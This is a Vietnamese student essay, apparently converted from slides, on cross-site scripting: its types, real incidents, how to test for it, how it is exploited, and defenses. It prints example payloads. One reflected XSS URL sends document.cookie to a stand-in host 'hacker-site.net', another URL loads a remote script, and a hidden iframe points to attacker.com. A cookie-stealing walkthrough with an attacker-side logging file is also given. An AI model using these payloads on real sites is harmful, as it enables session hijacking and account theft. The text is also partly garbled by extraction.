Tiểu luận Kỹ thuật tấn công XSS cách thức tấn công và giải pháp phòng thủ, kỹ thuật tấn công xss cơ bản và nâng cao.XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau: 1. Thay đổi cấu trúc của toàn bộ trang web 2. Tạo tùy ý các phần tử HTML 3. Định tuyến lại các hình thức liên kết 4. Phục hồi dữ liệu, xác thực
Trang 1MỤC LỤC
I Một số điều cần biết 2
II Giới thiệu về XSS 3
1 Tìm hiểu về XSS 3
2 Các hình thức tồn tại của XSS 3
1 Stored XSS 3
2 Reflected XSS 5
3 DOM Based XSS 7
3 Một số ví dụ về các cuộc tấn công XSS 11
4 Mức độ nguy hiểm của XSS 11
5 Mục đích của tấn công XSS 12
III Hoạt động của tấn công XSS 13
IV Kiểm tra lỗi XSS 15
V Khai thác lỗi XSS 17
1 Các bước thực hiện 18
2 Các cách thực hiện khai thác lỗi XSS 18
1) Lấy cookie 18
2) Lấy account 19
3 Kẻ tấn công dùng XSS để lừa đảo 20
4 Cách vượt cơ chế lọc 21
VI Phòng chống XSS 22
1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 22
2 Với người dùng 23
VII Đánh giá 26
Trang 2TẤN CÔNG XSS
I. Một số điều cần biết
Website ngày nay thường là các website động(website động là nhữngwebsite có hệ thống quản lý nội dung và người dùng có thể chỉnh sửa nộidung được).Và hầu hết các website này dùng cookie để xác thực người dùng
HTML (HyperText Markup Language) có nghĩa là ngôn ngữ đánh dấu siêu văn bản.Nó dùng để định dạng bố cục, các thuộc tính liên quan đến cách
hiển thị của một đoạn text và được hiển thị trên một chương trình đặc biệc tagọi là Browser
Javascript là một ngôn ngữ lập trình kịch bản dựa vào đối tượng phát triển
có sẵn hoặc tự định nghĩa ra, javascript được sử dụng rộng rãi trong các ứngdụng Website Javascript được hỗ trợ hầu như trên tất cả các trình duyệt nhưFirefox, Chrome, thậm chí các trình duyệt trên thiết bị di động cũng có hỗtrợ
Cookie là một đoạn văn bản ghi thông tin được tạo ra và lưu trên trìnhduyệt của máy người dùng Cookie thường được tạo ra khi người dùng truycập một website, cookie sẽ ghi nhớ những thông tin như tên đăng nhâp, mậtkhẩu, các lựa chọn do người dùng lựa chọn đi kèm Các thông tin này lưutrong máy tính thường được dùng để nhận ra người dùng khi ghé thămmột trang web
XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng
có thể làm được những công việc sau:
1 Thay đổi cấu trúc của toàn bộ trang web
2 Tạo tùy ý các phần tử HTML
3 Định tuyến lại các hình thức liên kết
4 Phục hồi dữ liệu, xác thực
Trang 3Tấn công XSS không nhằm vào server,chủ yếu tấn công vào client (user)(kiến thức kém, tò mò, an ninh lỏng lẻo) bằng cách dụ nạn nhân click vào cácurl kích hoạt mã độc và nó sẽ thực thi trên trình duyệt của nạn nhân
2 Các hình thức tồn tại của XSS
1 Stored XSS
Tấn công kiểu stored XSS cho phép kẻ tấn công chèn một đoạn script(Javascript) vào website thông qua một chức năng nào đó (vd: cmt,guestbook, gởi bài ), khi các thành viên khác truy cập website sẽ bị dính mãđộc từ kẻ tấn công này và các mã độc này thường được lưu lại trong databasecủa website nên gọi là Stored
Stored XSS được phát sinh do không lọc dữ liệu do thành viên gởi lên mộtcách đúng đắn,từ đó gây ra hậu quả nặng nề
Trang 4Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện cácthao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ đượcthực thi trên trình duyệt người dùng
Đến đây hacker coi như đã đạt được mục đích của mình
Trang 52 Reflected XSS
Reflected XSS xuất hiện khi dữ liệu được cung cấp từ một web client nào đó.Đầu tiên là sẽ phải tìm ra lỗ hổng bảo mật trên website bằng cách gắn một mã test vào web client để web client gửi đến server và chờ phản hồi của web server để tìm ra lỗ hổng bảo mật
Reflected XSS xảy ra do không chú ý filter input (lọc sữ liệu đầu vào) từ URL của website
Trang 6Có đến 75% kỹ thuật XSS dựa trên Reflected XSS.Gọi là reflected(phản xạ) bởi
vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript) Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây) Ngoài ra nó còn được biết đến với tên gọi first-order XSS.
2 Tại web bằng cách nào đó,hacker gửi cho người dùng URL:
Valnerable.site:Giả sử là web mà người dùng truy cập
Hacker-site.net:Giả sử là web mà hacker tạo ra
http:// vulnerable.site /name=<script>var+i=new+Image;+i.src=”http:// hacker-site.net/”%2bdocument.cookie;</script>
3 Nạn nhân truy cập đến URL trên
Trang 74 Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạnjavascript của hacker)
5 Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
6 Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số làcookie người dùng:
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công
Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhântruy cập vào URL của mình Còn Stored XSS không cần phải thực hiện việcnày, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉviệc ngồi chờ nạn nhân tự động truy cập vào Với nạn nhân, việc này là hoàntoàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễmđộc
Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểmtấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web VớiReflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồitruy cập đến URL mà hắn ta cung cấp để thực thi mã độc Nhưng Stored XSSthì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào ngườidùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiềukhả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nênhiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc
3. DOM Based XSS
DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ranhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML,XML Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp Tất cả
Trang 8các thành phần trong HTML, XML đều được xem như một node.Và nó là mộtdạng tấn công XSS làm thay đổi cấu trúc của trang web bằng cách thay đổicấu trúc HTML
Hacker sẽ chèn các đoạn script nhằm làm thay đổi giao diện mặc định củatrang web thành một giao diện giả.khi người dùng vào web giả thì hacker sẽthu được mật khẩu người dùng
Ví dụ:
Một website có URL đến trang đăng ký như sau:
http://example.com/register.php?message=Please fill in the form
Khi truy cập đến thì chúng ta thấy một Form rất bình thường
Nguồn code của form
Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra Từ việckiểm tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập cácURL nguy hiểm
Thay vì truyền
message=Please fill in the form
Trang 9Khi đấy Form đăng ký sẽ trở thành thế này
Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này,
và khi lựa chọn giới tính, Script sẽ được thực thi
Trang 10Từ ví dụ cho ta thấy
Thứ 1, mã độc đã được thực thi ngay khi click vào giá trị trong thẻ select,tức là được thực thi ngay ở phía client mà không cần thông qua respond củaserver
Thứ 2, cấu trúc HTML đã bị thay đổi với script truyền vào Và cũng cóthể thấy kịch bản khai thác thực tế, DOM Based có phần giống với Reflectedhơn là Stored XSS khi phải lừa người dùng truy cập vào một URL đã nhúng
mã độc
Hình 3.1:Kịch bản khai thác DOM Based XSS
Kịch bản:
Trang 111 Người dùng đăng nhập vào trang web
2 Những kẻ tấn công hàng thủ một URL có chứa một chuỗi độc hại và gửi nóđến các nạn nhân
3 Các nạn nhân đã bị đánh lừa bởi những kẻ tấn công vào yêu cầu URL từtrang web
4 Các trang web nhận được yêu cầu, nhưng không bao gồm các chuỗi độc hạitrong các phản ứng
5 Trình duyệt của nạn nhân thực thi kịch bản hợp pháp bên trong phản ứng,gây ra các script độc hại sẽ được chèn vào trang
6 Trình duyệt của nạn nhân thực thi kịch bản độc hại chèn vào trang, gửi cáctập tin cookie của nạn nhân để máy chủ của hacker
7. Hacker chiếm được session của nạn nhân và hacker có thể giả mạo với tưcách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có
3 Một số ví dụ về các cuộc tấn công XSS
- Hai lỗ hổng XSS trong trang web Google.com đã được xác định và công bốbởi Yair Amit trong Tháng Mười Hai năm 2005 Các lỗ hổng cho phép kẻtấn công để mạo danh các thành viên hợp pháp của các dịch vụ của Googlehoặc để gắn kết một cuộc tấn công lừa đảo
- Netcraft công bố vào tháng 6 , năm 2006 là một lỗ hổng bảo mật trongcác PayPal ,trang web đang được tích cực khai thác bởi những kẻ lừa đảo để
ăn cắp số thẻ tín dụng và thông tin cá nhân khác thuộc về PayPal người sửdụng Vấn đề này đã được báo cáo Netcraft qua của mình chống lừa đảo trênthanh công cụ Ngay sau đó, Paypal thông báo rằng "một sự thay đổi trongmột số mã" trên trang web của Paypal đã loại bỏ các lỗ hổng
- Vào tháng 4 năm 2005,Samy kamkar đã đã tạo ra Samy(con sâu XSS)truyền bá qua MySpace.Chỉ trong 20 giờ lây lan,hơn 1 triệu người dùng đãnhiễm Samy và bị lộ thông tin cá nhân trên MySpace
4 Mức độ nguy hiểm của XSS
Công ty bảo mật Web Cenzic phát hành một báo cáo chi tiết các xu hướng vàcác con số liên quan đến an ninh Web cho quý đầu tiên và thứ hai của năm
2009 cho thấy rõ qua biểu đồ sau:
Trang 12Keylogging: hacker có thể ghi lại những thao tác gõ phím của người dùngbằng cách sử dụng sự kiện trong Javascript và gửi tất cả những thao tác gõphím đó về cho hắn để thực hiện những mục đích như đánh cắp các thông tinnhạy cảm, lấy mật khẩu truy cập website hoặc mã số thẻ tín dụng
Phishing: hacker có thể thay đổi giao diện của website bằng cách thay đổicấu trúc HTML trong trang web để đánh lừa người dùng Hacker có thể tạo ra
Trang 13những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắpmật khẩu.
Ví dụ cụ thể:
Truy cập thông tin nhạy cảm hoặc bị hạn chế
Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)
Theo dõi thói quen lướt web của người dùng
Thay đổi năng của trình duyệt
Bôi nhọ danh tiếng của một cá nhân hay công ty
Hủy hoại ứng dụng Web
Tấn công từ chối dịch vụ
III Hoạt động của tấn công XSS
XSS cho phép chèn các đoạn mã vào link của đường dẫn, để thực thi trêntrình duyệt của người dùng Thường thì XSS có dạng như sau:
http://www.web.vn//index.php?pg=news&cat=<script>alert(“Lỗi
XSS”)</script>
Trang 14Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là:
“Lỗi XSS”
Về cơ bản XSS cũng giống như SQL Injection hay Source Injection,nócũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chènvào đó các thông tin vượt quá tầm kiểm soát của server
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn
có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tínhsrc của thẻ script
XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởitrình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống websitenằm trên server
Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên người dùng khó mà phát hiện ra Sau đây là cách mã hoá(HEX) các kí
tự thường dùng trong lỗi XSS của thanh AddressBar của Browser
Trang 15IV Kiểm tra lỗi XSS
Nếu dùng các web với source có sẵn, tham khảo danh sách các lỗ hổng trêncác trang web chứa các thông tin về bảo mật như securityfocus.com,securiteam.com
Nếu dùng web tự phát triển thì cỏ thể dùng tool scanner
1. Dùng tool: Paros Proxy, WebInspect, Acunetix Web Vulnerability
Scanner Watchfire AppScan…
2 Thử bằng code
Trang 16Ví dụ:
1 Đầu tiên chúng ta mở một trang web muốn kiểm tra
2 Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin
đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ
"Mask_NBTA" chẳng hạn hay chữ gì cũng được
3. Tiếp đó là chèn câu lệnh vào:<script>alert(“Loi XSS”)</script>
ở đây,trong dấu ngoặc ( ) chúng ta có thể điển chữ tùy thích
Và kết quả là:Nó sẽ đưa ra thông báo “loi XSS”
Thì website đó đã bị lỗi XSS
Trang 17Ta có thể nhập vào form lỗi các thẻ sau:
Dưới đây là mô hình khai thác XSS truyền thống:
Trang 181 Các bước thực hiện
1) Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hổng XSS
2) Người dùng nhận được 1 liên kết thông qua email hay trên chính trang
Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chínhhacker tạo ra…).Thông thường hacker khiến người dùng chú ý bằngnhững câu kích thích sự tò mò của người dùng như “ Kiểm tra tàikhoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…
3) Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ
của hacker
4) Hacker tạo một chương trình cgi hoặc một trang Web để ghi nhận
những thông tin đã đánh cắp vào 1 tập tin
5) Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng
2 Các cách thực hiện khai thác lỗi XSS
1) Lấy cookie
Đầu tiên tạo một file log.txt và upload lên host của mình.file này trống vàtạo file cookie.asp hoặc cookie.php có nội dung sau và upload filenày lên host như sau:
Trang 19Sau đó Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặcwebsite (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo hoặcbằng lời chào gây chú ý có hostname là trang web bị nhiễm XSS:
Sau đó Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý(có hostname là của trang web bị nhiễm XSS) Khi đó tạo một link dạngnhư sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname
ta thêm thẻ Script vào)
Trang 20http:// hostxss.com /search.php?s="> <script
src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>
Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site):Người dùng không phát hiện ra và khi đăng nhập thì cookie hay usename vàpassword sẽ được lưu lại trong file info.txt trên server của hacker và thế là
kẻ tấn công đã có được tài khoản của nạn nhân
3 Kẻ tấn công dùng XSS để lừa đảo
Ngoài việc lấy cookies, các kẻ tấn công còn có thể hướng trình duyệt củangười dùng đến trang web mà Attacker thiết kế sẵn Sau khi kẻ tấn công đã cóthông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:
<iframe src='http://www.attacker.com' width='1' height='1' style='visibility;
Trang 21VI Phòng chống XSS
Như ta đã biết một tấn công XSS chỉ thực hiện được khi gửi một trangweb cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấncông
Và mức độ nguy hiểm của tấn công XSS rất nguy hiểm và khó lường hết được sự nguy hiểm của nó nhưng không quá khó khăn để ngăn ngừa XSS.Có rất nhiều cách
để khắc phục lỗi XSS như:
Trang 221 Với những dữ liệu người thiết kế và phát triển ứng dụng Web
Những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển ứngdụng Web cần phải thực hiện vài bước cơ bản sau:
- Chỉ chấp nhận những dữ liệu hợp lệ
- Từ chối nhận các dữ liệu hỏng
- Liên tục kiểm tra và thanh lọc dữ liệu
- Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ
<script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script
đó như là một đoạn trích dẫn thôi
Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động
sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mãcủa nó.Nói chung, việc mã hóa(encoding) được khuyến khích sử dụng vì
nó không yêu cầu bạn phải đưa ra quyết định những kí tự nào là hợp lệhoặc không hợp lệ.Tuy nhiên việc mã hóa tất cả dữ liệu không đáng tincậy có thể tốn tài nguyên và ảnh hưởng đến khả năng thực thi của một sốmáy chủ
- Ngoài ra có thể dùng các AppShield để tìm ra lỗ hổng XSS,AppShield kiểm tra tất cả yêu cầu mới, AppShield kiểm tra tham biến